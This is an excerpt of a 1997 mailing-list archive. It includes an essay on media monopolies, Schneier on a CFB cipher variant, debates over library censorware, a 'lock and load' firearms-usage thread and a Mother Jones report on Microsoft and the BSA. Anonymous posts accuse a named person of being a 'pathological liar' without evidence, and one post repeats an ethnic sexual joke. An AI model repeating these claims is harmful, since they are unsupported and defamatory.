forces" (where traditional predatory practices can operate); 
chilling libel precedents are being set; and moves are afoot
to centralize domain-name registration, beginning what appears 
to be a slippery slide toward ISP licensing. And these are 
still early days in commercialization.

Consider the US Telecom Reform Bill of 1996. Theoretically, it
encourages "increased competition." But consolidation is permitted 
both horizontally and vertically: A telco can expand its territory, 
and be sold/merged with content (media) companies. Prices and the 
definition of services are determined by "the market." There's also 
a transition period, during which it must be determined that 
"competition is occurring." After that, it becomes a more or less 
laissez-faire ball game, in a climate of deregulation and lack 
of anti-trust enforcement. There's no going back, no guarantee 
that if competition fades, regulation will return.

Just as the media industry is vertically integrated (owning its own
distribution infrastructure), so it will seek telecom acquisitions 
as the digital network nears implementation.

Following awesome merger wars among huge conglomerates, a single
media-communications mega-industry, dominated by a clique of
vertically-integrated majors, is likely to emerge. Regulation will
indeed govern cyberspace but - in accordance with the globalist 
paradigm - it will be regulation by and for the cartel.

CONTROL OF DISTRIBUTION

Monopolization is about creating an all-the-traffic- will-bear
marketplace. This operates today, for example, in cinemas and video 
rentals. Films compete on the basis of consumer interest, not price. 
So, cyberspace majors will compete, but in content acquisition - 
seeking the most successful offerings and coverage - and in extending 
market territories. This competition may bring consumers ever more 
titillating entertainment, but the scope and "message" of their 
entertainment (and information) will be molded by corporations. 
International regulations being created for libel, copyright, and 
pornography combine to make Internet culture ultimately untenable. 
A bulletin board, for example, would not be run in open mode;
in essence, staff would have to filter submissions to avoid 
prosecution liability. List owners would be forced to become 
censors, verifying contributor's statements like newspaper 
editors. The open universe of today's Internet seems destined 
for marginalization, just like CB-radio or public-interest 
broadcasting, thus completing the commercial domination of
cyberspace and corporate domination of society.

The ability to distribute media products at reasonable rates to large
audiences translates into the ability to start up a competing media
company, with production costs as the only major capitalization
required.

This is exactly what media cartels wish to avoid; discouraging start-ups
is what "control over distribution" is all about. In the case of TV,
scarce
bandwidth translated into expensive licenses, and the cartel was easily
maintained.

In cyberspace, the cartel can maintain distribution control by defining
services and setting prices, so that media distribution is artificially
expensive and cost-effective only on a massive scale, requiring massive
capitalization.

What will it cost to send a message to one person in commercial
cyberspace? My guess is that the "traffic will bear" about as much for 
a one-page message as a first-class letter. This may seem over-priced, 
but so what? I consider my voice phone service (and CDs) over-priced - 
c'est la vie under monopoly market forces. The advertising brochure 
will boast, "Get your message instantly to anyone in the world - for 
one flat rate less than a domestic postage stamp."

At 25 cents per recipient, a 500-person Internet mailing-list carries a
$125 posting fee direct from the poster to the telco. You can play with
the numbers, talk about receiver-pays, and note that corporate users 
will insist on affordable networking, but monopoly-controlled pricing 
could totally change Internet usage patterns.

The media-com industry will make plenty of money from 1-1 e-mail
messaging, and plenty more from their own commercial products. Whether 
they want to encourage widespread citizen networking is entirely up 
to them, according to their own sovereign cost/benefit analysis. 
If they don't favor it, it won't happen - except in the same 
marginalized way of HAM radio.

There likely will be some kind of commercial chat- room/discussion-group
industry, but monopolized by online versions of talk radio, presided
over by an Oprah Winfrey and Larry King - with inset screens for 
"randomly selected" guests. "Online discussion" will thus be a new 
kind of media product, its distribution economics structured to 
favor the cartel.

The prospects surely seem dim for both democracy and cyberspace, and
cyberspace itself may be more a part of the problem than a part of 
the solution.


Following a career in computer software with Xerox, PARC, Apple, and
others, RICHARD K. MOORE moved to Ireland, where he is developing a
book, a documentary, and a grant-funded website.
- --------------------------------- 
A Not So Hidden Agenda ...
Date: Sun, 21 Dec 97 19:07:24 +0000
From: Brenda Jinkins 

From: [www.FreeRepublic.com]
Posted by: Boyd () *
12/21/97 10:37:09 PST

- --------------595A704A5EC1CF912EEA531B--


- -> Send "subscribe   snetnews " to majordomo at world.std.com
- ->  Posted by: "J. Orlin Grabbe" 


------- End of Forwarded Message






From mixmaster at remail.obscura.com  Mon Dec 22 13:03:24 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Tue, 23 Dec 1997 05:03:24 +0800
Subject: Lock and Load
Message-ID: <199712222041.MAA20452@sirius.infonex.com>



Not being a native English speaker, I do not understand the
meaning and origin of the phrase "LOck and Load".

Please explain.







From schneier at counterpane.com  Mon Dec 22 13:03:43 1997
From: schneier at counterpane.com (Bruce Schneier)
Date: Tue, 23 Dec 1997 05:03:43 +0800
Subject: Question on CFB variant with c[i-N]
In-Reply-To: 
Message-ID: 



At 11:10 AM -0600 12/22/97, David Honig wrote:
>At 06:46 PM 12/20/97 -0700, Johnson, Michael P (Mike) wrote:
>>
>>
>>>>              cfb    Ciphertext feeback mode
>>>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>>>                     p[i] = f1(K, c[i-1]) ^ c[i]
>>
>
>
>Suppose instead of c[i-1] you use c[i-N] where N is say 10.
>How would you prove that this has no security implications?
>That 10-way interleaved cfb streams are security-equivalent to
>a single cfb stream interleaved with the immediately previous block?
>
It's kind of obvious.  The encryption of a single plaintext stream
interleaved ten times is the same as the encryption of ten multiplexed
plaintexts.  If one is insecure, the other is insecure.

Bruce

**********************************************************************
Bruce Schneier, President, Counterpane Systems     Phone: 612-823-1098
101 E Minnehaha Parkway, Minneapolis,MN  55419       Fax: 612-823-1590
                                            http://www.counterpane.com







From declan at well.com  Mon Dec 22 13:03:50 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 23 Dec 1997 05:03:50 +0800
Subject: Netly News Special Report: Censorware in the Stacks
Message-ID: 



The Netly News brings you a four-part exclusive report today on the first
library censorware lawsuit, filed this morning against a Virginia county
that installed X-Stop software. Also check out our upgraded Censorware
Search Engine to see if *you're* censored in Loudoun County -- we now
include databases from IGear and X-Stop.

Censorware in the Stacks -- lawsuit filed:
  http://cgi.pathfinder.com/netly/opinion/0,1042,1649,00.html

The Censor's Sensitivity -- X-Stop's woes:
  http://cgi.pathfinder.com/netly/editorial/0,1012,1652,00.html

Bob Corn-Revere to the Rescue:
  http://cgi.pathfinder.com/netly/editorial/0,1012,1653,00.html

Censorware Search Engine 2.0: 
 http://cgi.pathfinder.com/netly/spoofcentral/censored/

-Declan








From ravage at ssz.com  Mon Dec 22 13:04:18 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 05:04:18 +0800
Subject: Lock and Load (fwd)
Message-ID: <199712222120.PAA19915@einstein.ssz.com>



Forwarded message:

> Date: Mon, 22 Dec 1997 12:41:31 -0800 (PST)
> From: Mix 
> Subject: Lock and Load

> Not being a native English speaker, I do not understand the
> meaning and origin of the phrase "LOck and Load".

It means to lock the rifles safety and load it's chamber in preperation for
firing at an enemy. It is usualy used in a military context but head-bangers
and such use it when talking about loading their bongs and I am shure other
groups use it as well in various contexts.

In short it means "get ready for action".


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From nobody at REPLAY.COM  Mon Dec 22 13:06:22 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 23 Dec 1997 05:06:22 +0800
Subject: Hate speech and censorship
Message-ID: <199712222045.VAA16098@basement.replay.com>



Dimitri Vulis writes:

> Perhaps the state shouldn't be in the business of providing library services
> to begin with; then there will be no 1st amendment issue, and if you don't
> like the censorware used by a private library, why, use another private
> library, or start your own.
> 
> (Nor would there be an issue with private libraries refusing service to
> readers who smell bad.)

How ironic that Vulis supports the right of private libraries to refuse
service to bad-smelling readers, while whining about Gilmore's refusal
to allow Gilmore's own private machine to pass Vulis' foul-smelling posts.

Private actions are not censorship, and Gilmore had the right to do
anything he wanted with toad.com.  Likewise list members had every right
to move to other hosts.

Vulis's infantile name-calling is easily seen to be totally lacking in
justification, unsurprising given his demonstrated lack of reasoning
abilities on this issue.






From anon at anon.efga.org  Mon Dec 22 13:09:00 1997
From: anon at anon.efga.org (Anonymous)
Date: Tue, 23 Dec 1997 05:09:00 +0800
Subject: No Subject
Message-ID: <0af1f50d709c70d6ee98863386f81e59@anon.efga.org>



>> (Many people here probably remember Fred Cherry - Panix pulled his 
>plug for
>> "homophobia".)
>> chris.com pulled the plug on TRRJC3 (Igor's pal) because of content.
>I wish you could be a little more specific.
>Harrashing email and excessive cross-posting in violation of each 
>UseNet 
>group charter is not
>censorship.

If ISP's censored flames (harrasments, whatever) then we might as well call every ISP AOL.

>If someone sends a gay an email saying "I will kill you. Look out for 
>the 
>next gay pride parade" that's is legitimate ground for action.

What if it was a joke, or a false threat?

>> I also wouldn't trust Lance Cottrell.  He's selling privacy for the 
>$$, not
>> for the ideology; he'll bend over the moment he thinks there's more 
>$$ in
>> bending over, which is usually the case.
>What is wrong selling privacy for money?

It usually involves making it shitty.

>> Remember how Sameer Parekh's C2Net used to try to peddle a "privacy 
>ISP"
>> because he failed miserable and diversified into peddiling shitty 
>software
>> and making idiotic legal threats? He happily pulled plugs bases on 
>content,
>> while at the same time stating in court papers that he doesn't 
>censor content.
>> What a pathological liar.
>I suppose you can back up your claim with documentation.
>What court document are you referring as evidence that Sameer Parekh 
>is a 
>pathological liar?

None is necessary.  Parekh is a liar, and just a general tool of c2.net.







From dlv at bwalk.dm.com  Mon Dec 22 13:12:53 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 05:12:53 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: 
Message-ID: 



Colin Rafferty  writes:
>
> > Note that if the library in question were not arm of the State,
> > noone would have any First Amendment claim.
>
> Which is why it is a good thing that Libraries are state funded.

On the contary. when no library was state (meaning, taxpayer) funded, and they
were supported by paying users (as was the case in most of the world for most
of its history), then multiple libraries would compete for users by providing
the best service possible; hence, if one private library chose a bad
censorware, its users would switch to another private library.

Of course private libraries find it hard to compete with tax-funded "free"
ones on price.

> > It is considered legal and moral for a *private employer* can use
> > censorware to restrict their LAN's access.
>
> It may be legal, but whether it is moral is certainly debatable.

In my opinion, employers like ML needn't use censorware to prevent you from
accessing, say, porn sites; as long as it doesn't interfere with your work
performance, who cares if you sit in your cubicle and ogle naked women (or
men) on a computer paid for by ML, together with its internet connection.

But if they choose to do so, and you don't like it, then you can 1) choose to
work for someone else, 2) pay $20/mo for your own internet connection; not run
to a federal judge whining that your employer violates your 1st amendment
rights by not paying for your access to non-work-related pornography.

> > When the government removes games, pictures, etc. from its PCs it is acting
> > as a responsible efficient employer.
>
> Not necessarily responsible, but it is legal.

What about ML telling its employees not to have games on their PCs?
What about ML telling its employees not to have any unlicenced software
on their PCs and not to download software from BBS/Internet because it
might contain viruses?

ML has some very confused people working for it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From honig at otc.net  Mon Dec 22 13:33:17 1997
From: honig at otc.net (David Honig)
Date: Tue, 23 Dec 1997 05:33:17 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <3.0.5.32.19971222100447.007d28c0@otc.net>
Message-ID: <3.0.5.32.19971222131827.007cfb10@otc.net>



At 01:55 PM 12/22/97 EST, Dr.Dimitri Vulis KOTM wrote:
>David Honig  writes:
>Perhaps the state shouldn't be in the business of providing library services
>to begin with; then there will be no 1st amendment issue, and if you don't
>like the censorware used by a private library, why, use another private
>library, or start your own.
>
>(Nor would there be an issue with private libraries refusing service to
>readers who smell bad.)
>

Also, there wouldn't be librarians being crucified when some child finds
some racy book.

BTW, now that libraries lend videotapes, they directly compete with 
private chains that do so.





------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith

















From ravage at ssz.com  Mon Dec 22 13:42:56 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 05:42:56 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks (fwd)
Message-ID: <199712222201.QAA20397@einstein.ssz.com>



Forwarded message:

> Subject: Re: SPECIAL REPORT: Censorware in the Stacks
> From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Mon, 22 Dec 97 15:33:03 EST

> On the contary. when no library was state (meaning, taxpayer) funded, and they

Get your facts straight. The US has a library that from day 1 has been
citizen supported. Every state (that I am aware of) has a state library that
is funded by tax payers. Furthermore, Texas & Lousiana have had localy
supported libraries and schools before they were even states.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From dformosa at st.nepean.uws.edu.au  Mon Dec 22 13:49:40 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Tue, 23 Dec 1997 05:49:40 +0800
Subject: Hate speech and censorship
In-Reply-To: <199712221855.MAA13705@manifold.algebra.com>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 22 Dec 1997, Igor Chudov @ home wrote:

> Dr.Dimitri Vulis KOTM wrote:

> > Sameer parekh sounds like he lives by the Arab proverb: "Women for sons,
> > boys for pleasure, but a camel for sheer extasy".
> 
> I guess I am missing something, but what is so good about camels?

You are clearly not a perl programer.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNJ7Gi6QK0ynCmdStAQEqhAQAp08IAoRdLzYkEyf3tmy0ClzDsFZL8y0i
SfrYhx0oANo2hpI3kC5VySZ/XClmuANaszfFIYNeIzp4jTbjfW3HFSQAFrJ6ToF1
rgvqPc75XZVh/EX+0Cz8pFJlwHRFKGTO+QPAjlSjdNg8b7vR51Adx5MZaFeGJ06G
5vrw2aVgmMM=
=GbVi
-----END PGP SIGNATURE-----






From mixmaster at remail.obscura.com  Mon Dec 22 14:06:17 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Tue, 23 Dec 1997 06:06:17 +0800
Subject: Lock and Load
Message-ID: <199712222142.NAA27915@sirius.infonex.com>



Jim Choate wrote:
> Forwarded message:
> > Not being a native English speaker, I do not understand the
> > meaning and origin of the phrase "LOck and Load".
>
> It means to lock the rifles safety and load it's chamber in preperation for
> firing at an enemy. It is usualy used in a military context but head-bangers
> and such use it when talking about loading their bongs and I am shure other
> groups use it as well in various contexts.
>

Wait a second, aren't we supposed to load first and lock later? How
can you load a rifle if it is on safety? 






From suzy1 at aol.com  Tue Dec 23 06:08:21 1997
From: suzy1 at aol.com (suzy1 at aol.com)
Date: Tue, 23 Dec 1997 06:08:21 -0800 (PST)
Subject: Have some fun
Message-ID: <61957280_53901278>



TEN MINUTES FREE!
Just for you if you're over 18.

Five minutes in our Private Show AND
five minutes in our Voyeur Show.  Try
it to see if you like it. Adults only!
We support the AOL Browser!

http://www.babequest.com

Signup for free and use your free time.





From mj at creative.net  Mon Dec 22 14:25:44 1997
From: mj at creative.net (mj at creative.net)
Date: Tue, 23 Dec 1997 06:25:44 +0800
Subject: Fwd: Mother Jones on Microsoft and BSA
Message-ID: 



Here's some more on Microsoft.

>Date: Mon, 22 Dec 1997 15:07:14 -0500 (EST)
>Reply-To: love at cptech.org
>Originator: am-info at essential.org
>Sender: am-info at essential.org
>Precedence: bulk
>From: James Love 
>To: Multiple recipients of list 
>Subject: Mother Jones on Microsoft and BSA
>MIME-Version: 1.0
>
>Date: Mon, 22 Dec 1997 09:07:37 -0800 (PST)
>    From: Richard Reynolds 
> Subject: Mother Jones Microsoft story
>
>For Release:
>December 22, 1997
>Contacts:
>Richard Reynolds 415/665-6637 x240
>Kerry Lauerman 415/665-6637 x215
>
>Microsoft Blackmails Foreign Companies
>Switch To Microsoft, and Your Legal Problems Will Disappear
>
>Microsoft appears to be using the Business Software Alliance (BSA) to
>blackmail foreign companies into making exclusive deals with Microsoft,
>reports Mother Jones magazine in a story released last night on the MoJo
>Wire, Mother Jones' Web site:
>
>http://www.motherjones.com/mother_jones/JF98/burstein.html
>
>When the BSA tracks down companies using software pirated from its
>various members, reports Mother Jones investigative reporter Rachel
>Burstein, the offender is offered a simple out: Switch to Microsoft
>products and your legal problems will disappear.
>
>* In 1995 the BSA caught Antel, Uruguay's national telephone company,
>using unlicensed Microsoft, Novell, and Symantec software. Ricardo
>Tascenho, Antel's information technology manager, told Mother Jones the
>company settled the matter by signing a "special agreement" with
>Microsoft to replace all its software with Microsoft products. According
>to Eduardo DeFreitas, the BSA's lawyer in Uruguay, Microsoft's Uruguay
>manager, Tomas Blatt, instructed him to drop the suit so that Microsoft
>and Antel could "work out a deal for the future."
>
>* Felipe Yungman, Novell's manager of security for Argentina, says
>Novell's investigations also indicate that the BSA has set up sweetheart
>deals for Microsoft there. "Companies or government offices had to, as a
>condition [that the BSA] forgive them of piracy, replace Novell products
>with Microsoft products," he told Mother Jones.
>
>* In 1996, when the BSA sued the Australian shipping company Toll
>Holdings for piracy, the suit alleged that Toll illegally used copies of
>programs made by Lotus, Novell, Symantec, and Microsoft. According to
>Martin Dunne, Toll's chief information technology officer, other than
>keeping Symantec's anti-virus software, they only buy Microsoft now. A
>Novell official told Mother Jones that Toll "offered to legalize on all
>Microsoft products if [the BSA] dropped the suit." Both the BSA and Toll
>deny any impropriety.
>
>* In Slovenia, where 96 percent of all software is pirated, Microsoft's
>country manager, Aaron Marko, is also head of the BSA office. Marko says
>that because enforcement is difficult in the country's court system, he
>offers discounted
>
>Microsoft software to companies caught pirating by the BSA. Microsoft
>denies that the BSA acts solely on its behalf. But officials at
>Novell and Lotus told Mother Jones that they will stop actively
>participating in the BSA's programs in Asia and Latin America by the
>beginning of 1998.
>
>Greg Wrenn, senior corporate counsel for Adobe, says his company has
>stayed with the BSA, but he acknowledges Microsoft's upper hand: "If an
>attorney does Microsoft work and BSA work and never hears from another
>company besides Microsoft, he's going to do the work for the guy who's
>in his office every week."
>
>The BSA story is part of a five-part cover package on Microsoft featured
>in Mother Jones' January/February issue.
>#  #  #
>
>
>Full Article:
>
>Overseas Invasion
>by Rachel Burstein
>
>Like Coke, Nike, and the tobacco industry before it, Microsoft now has
>to
>hook new consumers abroad. But the company has discovered a way to bully
>foreign companies into buying Microsoft-and only Microsoft.
>
>In 1995 Antel, the national telephone company of Uruguay, was caught
>pirating $100,000 worth of unlicensed software programs from Microsoft,
>Novell, and Symantec. Antel was nabbed by the Business Software
>Alliance, a
>trade association that partly acts as a global bounty hunter for the
>software industry. The BSA's lawyers in Uruguay quickly filed suit.
>
>But instead of waiting for a ruling on the case, the BSA abruptly
>dropped
>the suit in the fall of 1997. The BSA receives funding from most of the
>top
>software companies but appears to be most heavily funded by Microsoft.
>And,
>according to Antel's information technology manager, Ricardo Tascenho,
>the
>company settled the matter by signing a "special agreement" with
>Microsoft
>to replace all of its software with Microsoft products.
>
>The BSA's lawyer in Uruguay, Eduardo DeFreitas, supports Tascenho's
>story:
>"Microsoft told me to stop working on the case because they would write
>an
>agreement with Antel." DeFreitas says Microsoft's Uruguay manager, Tomas
>Blatt, instructed him to drop the suit so that Microsoft could "work out
>a
>deal for the future." Blatt refused to answer questions about the
>settlement, claiming, "I don't have any information about the Antel
>case�.
>You should call
>BSA in Uruguay-Eduardo DeFreitas."
>
>Antel's situation suggests that when  the BSA cracks down on piracy
>overseas, it's Bill Gates who turns out to be the pirate.
>Representatives
>from rival firms complain that Microsoft is abusing its power within the
>BSA to speed its global dominance.
>
>Microsoft denies that the BSA acts solely on its behalf. "I am not aware
>of
>any instance where that has happened," says Microsoft attorney Brad
>Smith.
>And the BSA dismisses the charges; spokeswoman Diane Smiroldo calls them
>"hard to believe." But officials at Novell and Lotus confirm that by
>January, both companies will have stopped actively participating in the
>BSA's programs in Asia and Latin America. Novell says these allegations
>played a part in its decision; Lotus refuses to comment. Such concerns
>are also among the reasons Netscape is reluctant to join the BSA, says
>Netscape attorney Peter Harter.
>
>The accusations aren't just limited to Uruguay:
>
>* Felipe Yungman, Novell's manager of security for Argentina, says he
>and
>another staffer at Novell discovered, while pursuing their own
>investigation for the company, that the BSA was setting up sweetheart
>deals
>for Microsoft. "Companies or government offices had to, as a condition
>[that the BSA] forgive them of piracy, replace Novell products with
>Microsoft products," he says.
>
>were bullied by Microsoft, saying that he is trying to convince them to
>come forward. "Most of the companies don't want to get involved," he
>explains. "They think they need Microsoft. You cannot oblige them to
>testify."
>
>Mario Tucci, Novell's country manager for Latin America, supports
>Yungman's allegations. "If you call BSA, you will reach Microsoft," he
>says. "They shield Microsoft's actions with the BSA name. It's bad for
>us
>and [for] the software industry."
>
>* In 1996, when the BSA sued the Australian shipping company Toll
>Holdings
>for piracy, BSA lawyer Charles Gonsalves, of the Sydney-based firm of
>Mallesons Stephen Jaques, oversaw the case.
>
>"I generally handle cases for both Microsoft and the BSA," Gonsalves
>told
>Mother Jones.
>
>But while the suit alleged that Toll illegally used copies of programs
>made
>by Lotus, Novell, Symantec, and Microsoft, Martin Dunne, Toll's chief
>information technology officer, says the company settled by paying fines
>to
>only Symantec and Microsoft. And, Dunne says, other than keeping
>Symantec's
>anti-virus software, the company has made a significant change: Toll
>only
>buys Microsoft now.
>
>According to a Novell official, Toll "offered to legalize on all
>Microsoft
>products if [the BSA] dropped the suit." Both the BSA and Toll deny any
>impropriety. While a written agreement between Toll and Gonsalves does
>exist, neither party would reveal the terms of the settlement. When
>Gonsalves was asked if Microsoft ever paid for his handling of BSA
>cases,
>he chuckled and said, "That's a confidential matter."
>
>* In Slovenia, where 96 percent of all software is pirated, the head of
>the
>BSA office, Aaron Marko, is also Microsoft's country manager. Marko says
>that because enforcement is difficult in the country's court system, he
>offers discounted Microsoft software to companies caught pirating by the
>BSA. Does Marko see this as a conflict of interest, since he also
>supposedly represents other software firms? "BSA is trying to find the
>pirate. Then it is a question of marketing and product awareness to see
>who
>will get the legal market share," he says. When asked which BSA members
>have local subsidiaries that do local marketing, Marko says only
>Microsoft
>and Oracle, which is not a direct Microsoft competitor.
>
>These allegations "raise questions as to whether the BSA serves the
>interest of its members or whether it serves its dominant member," says
>James Love, director of Ralph Nader's Consumer Project on Technology.
>And
>for the foreign companies, he says, "these seem to be stories of
>blackmail."
>
>The BSA employs a team of more than 100 lawyers and investigators to
>find
>cases of software piracy-a crime it says costs the industry $11 billion
>a
>year. The BSA says it catches "thousands of cases a year," many through
>its
>55 piracy hotlines, the most famous of which urges employees to "Nail
>Your
>Boss" by calling.
>
>While the BSA won't release its funding details, it does say that money
>comes from membership dues, which are based on each company's software
>revenues. This is one way in which Microsoft dominates the BSA:
>Microsoft's
>annual revenues, for example, are eight times that of Novell, its
>largest
>rival.
>
>In the future, Novell and Lotus say they will use their own in-house
>resources for anti-piracy efforts in Asia and Latin America.
>
>But other BSA members, while concerned about Microsoft's role in the
>organization, aren't quite willing to go their own way. Greg Wrenn,
>senior
>corporate counsel for Adobe, says his company has stayed with the BSA
>despite having had some uneasy experiences with Microsoft. For example,
>Wrenn says, the Microsoft attorneys who worked for the BSA refrained
>from
>going after big Microsoft clients caught pirating Adobe products-until
>Adobe prodded them.
>
>Wrenn says Adobe will stay in the BSA, pressuring the organization to
>play
>fair. But he acknowledges Microsoft's upper hand. "If an attorney does
>Microsoft work and BSA work and never hears from another company besides
>Microsoft, he's going to do the work for the guy who's in his office
>every
>week," Wrenn says.
>
>
>
>________________________________________
>Richard Reynolds/Communications Director
>Mother Jones magazine
>415/665-6637 x240
>731 Market Street, 6th Floor
>San Francisco, CA  94103
>







From ravage at ssz.com  Mon Dec 22 14:28:38 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 06:28:38 +0800
Subject: Lock and Load (fwd)
Message-ID: <199712222238.QAA20544@einstein.ssz.com>



Forwarded message:

> Date: Mon, 22 Dec 1997 13:42:34 -0800 (PST)
> From: Mix 
> Subject: Re: Lock and Load

> Jim Choate wrote:
> > Forwarded message:
> > > Not being a native English speaker, I do not understand the
> > > meaning and origin of the phrase "LOck and Load".
> >
> > It means to lock the rifles safety and load it's chamber in preperation for
> > firing at an enemy. It is usualy used in a military context but head-bangers
> > and such use it when talking about loading their bongs and I am shure other
> > groups use it as well in various contexts.
> >
> 
> Wait a second, aren't we supposed to load first and lock later? How
> can you load a rifle if it is on safety? 

Well on my .22 I slide bullets down the loading tube and manualy cycle the
bolt. On the M1 carbine I simply insert the clip and cycle the bolt. On a
HK-33 or G3 you do the same sort of thing. Those are the ones I know how to
work because I have used them.

In general the safety locks the trigger and firing-pin mechanism not the
loading or chambering mechanism. I don't know of a safety on a rifle that
blocks the bolt. But I ain't a gun nut (IAAGN).

Revolvers are self-explanatory. Automatics generaly block the trigger and
firing-pin mechanism, again not the bolt. Just grab that damn thing above
the barrel and pull toward yourself with a loaded clip. When it releases
should be loaded and on safety. Certainly works that way on the 1911 that I
use on occassion where the hammer action is blocked (hint - don't drop it
when cocked and safetied). I don't think I have ever shot an automatic that
didn't work that way (all 3 or 4 of them). Again, IAAGN.



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|







From jongalt at everest.pinn.net  Mon Dec 22 14:38:05 1997
From: jongalt at everest.pinn.net (Jon Galt)
Date: Tue, 23 Dec 1997 06:38:05 +0800
Subject: Can I do Pubkic Domain that -
In-Reply-To: <3.0.5.32.19971218135434.007b3e00@otc.net>
Message-ID: 



On Thu, 18 Dec 1997, David Honig wrote:

> I was alluding to the licensing of ordinary photocopiers and fax machines
> (and computers, 
> and now internet connections) in statist nations, to prevent their "misuse".  

Except for the statist nation I (and I believe you) live in:  USA (United 
Socialist America) does not currently require a license to own or operate 
computers, photocopiers, and fax machines.

______________________________________________________________________
Jon Galt
e-mail:  jongalt at pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
Democracy is two wolves and a sheep voting on what to have for dinner.
______________________________________________________________________






From mparson at smartnap.com  Mon Dec 22 14:43:00 1997
From: mparson at smartnap.com (mparson at smartnap.com)
Date: Tue, 23 Dec 1997 06:43:00 +0800
Subject: Lock and Load
In-Reply-To: <199712222142.NAA27915@sirius.infonex.com>
Message-ID: <199712222230.QAA01332@fargo.smartnap.com>



In message <199712222142.NAA27915 at sirius.infonex.com>, you write:
> Jim Choate wrote:
>> Forwarded message:
>>> Not being a native English speaker, I do not understand the
>>> meaning and origin of the phrase "LOck and Load".
>>
>> It means to lock the rifles safety and load it's chamber in preperation for
>> firing at an enemy. It is usualy used in a military context but head-bangers
>> and such use it when talking about loading their bongs and I am shure other
>> groups use it as well in various contexts.
> 
> Wait a second, aren't we supposed to load first and lock later? How
> can you load a rifle if it is on safety? 

You can load most rifles with the safety on.  We loaded our M-16s on the
line while the weapon was on 'safe' all the time.  The next command was
always, "Rotate your selector switch from 'safe' to 'semi.'  Firers,
watch your lanes... fire at will."  Most safeties are just trigger locks
that prevent you pulling the trigger, they do nothing preventing you
from sticking in a loaded magazine and chambering a round.

--
Michael Parson






From brianbr at together.net  Mon Dec 22 15:08:19 1997
From: brianbr at together.net (Brian B. Riley)
Date: Tue, 23 Dec 1997 07:08:19 +0800
Subject: Lock and Load
Message-ID: <199712222259.RAA14079@mx01.together.net>



-----BEGIN PGP SIGNED MESSAGE-----

On 12/22/97 5:30 PM, mparson at smartnap.com (mparson at smartnap.com) 
passed this wisdom:

>> Wait a second, aren't we supposed to load first and lock later?
>> How can you load a rifle if it is on safety? 
>
>You can load most rifles with the safety on. We loaded our M-16s on 
>the line while the weapon was on 'safe' all the time. The next 
>command was always, "Rotate your selector switch from 'safe' to 
>'semi.' Firers, watch your lanes... fire at will." Most safeties 
>are just trigger locks that prevent you pulling the trigger, they 
>do nothing preventing you from sticking in a loaded magazine and 
>chambering a round.  

 At the risk of thumping upon a well deceased equine carcass, the
original expression was "Load and Lock" (admittedly "Load and Lock"
rolls off the tongue more easily than the inverse) as there were many
weapons whose actions could not be loaded when in the 'safe' position.
There are probably as many weapons where this is true as there where
it is not. In general it makes most sense to check for safe condition
before and after loading.

 But, to answer the orginal question, it is generally used as a
euphemism for "get ready for action" either offensive or defensive.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJ7w2z7r4fUXwraZAQGHtAf/Qi3zmRF6nfW/OxkyiV5gyh+7Yl+HuVnP
ri6kmiyI0273h10dz7naAftBTUXUDNLTKyGputK97ApLd1LI8pw0IXJuR4zCs8dn
eis5k1jf/RdEX7l3et1PogkeKseC0u0CsPr8kv7xkJcth0Wo5aFCSvGGiIKAAQLO
